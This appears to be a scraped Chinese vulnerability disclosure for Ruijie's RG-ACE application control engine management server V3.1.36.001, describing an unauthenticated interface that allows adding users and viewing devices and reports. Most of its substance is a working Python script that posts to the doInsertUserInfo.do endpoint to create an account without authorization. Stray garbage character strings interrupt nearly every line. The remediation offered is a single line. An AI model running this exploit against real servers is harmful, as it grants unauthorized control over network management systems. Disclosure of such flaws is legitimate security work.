锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)! m. T: ?0 w. J3 C
& E: q$ w( ~4 ]# C2 L
, n# a0 t: l9 q6 k# j测试的具体版本是
0 p+ ?6 Y) J2 P: Z' P产品名称: 锐捷应用控制引擎! \0 c" q' Q5 ~( M6 E' l: A2 q
版本号: 3.1.36.001 TC
* v& U6 m; j8 v q2 j) d" i编译时间: 201104291730
- z! j O9 s% [8 g6 S8 Y! H
' D j0 }1 z* `1 `! g' u' ?/ t( s1 q3 m
漏洞证明:
. o5 q% k! S- L9 G+ D$ P
8 [9 \8 r( q7 }- S1 O2 z; [, q) s+ O g+ I) L6 U0 `( R
; N. |% w/ o1 `: G: i& y* }( B5 g& T6 r7 V
' ~/ g2 @1 o. B* B& x
4 U2 [6 h7 T% C+ g2 C6 Y2 p执行脚本# f0 A' M; ]: S+ s5 [
#! /usr/bin/env python3 I# r; b4 i4 U5 f
#coding=gbk0 p4 q5 g! Y" c" z+ b/ k
#RG-ACE管理服务器 V3.1.36.001/ ~ H, o4 k, q6 y) X* F- p
import urllib2, urllib,cookielib
3 R' h% A) s- P2 Y, J2 D& s purl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP; [# F5 i4 {$ q& H! v' L
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar())); D4 _. M$ m% ^. q, Y0 `
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
7 R2 ~* d$ J$ v& L! o' bpost=(("event","userManager.doInsertUserInfo"),3 T, [% j+ ~8 W& _2 p) s: U1 I/ i
("useractionname","addButtonValue"),
+ b. g! K" b% a( Y4 T5 ~8 F("useropermanager","userManager"),
4 C' f+ h# Y, m6 Q4 a9 a1 Y) b("userName","t"), #######账号自己加
6 @2 N N4 J* I: k("pwd","aaaaaa"),######密码自己加
' x( G5 J/ V# c, X+ `$ {("trueName","ad"),
0 h4 T6 T( w- \' @3 {("email",""),
4 d% S: d' @1 k. ?("mobilePhone",""),% s; O% z% |% c1 `5 ?
("officePhone",""),
' P) q& ^3 |2 m$ f3 M" \("addr",""),5 P- G' d" ~, m" c
("submit","确定")). e9 G S( @2 u& a1 D
urllib2.install_opener(opener)
) f; D- d, K p4 Np=urllib2.urlopen(url, urllib.urlencode(post)).read()! E- P, D S7 F9 j: O
print "Done"4 N4 S, ^& ?3 v/ e1 a) a' J7 i
3 ^) v8 Y8 u8 J; _7 _* \登录,连接设备
! @' Z) \" [9 p0 d" b5 H' ^7 \- T: W5 ]8 \# ^
( J& [. W! H7 ?' P" a3 Q
2 E1 ?1 O/ ^& F O/ m/ _
3 |& s* R5 [) L' i0 w+ d; x
' q1 B( V) R' P/ p- M3 k默认的管理员admin权限更大点- O5 n6 H3 W' w) M' }" O4 l% q
* O2 a% ]# I" B4 ?4 }3 Q) V' K
. Z) ]4 b. B/ @/ D1 y
- q" I; D( c' p
! t+ V3 H$ m! k4 X& Y0 l( l6 u' }. P+ ^7 A9 b1 _/ p" Y% w3 F
修复方案:" ^( L* E+ r* K$ l' x
加强对接口的权限验证
P9 z* h1 L6 k$ j) |
B4 b x4 ?! O7 t0 j1 U |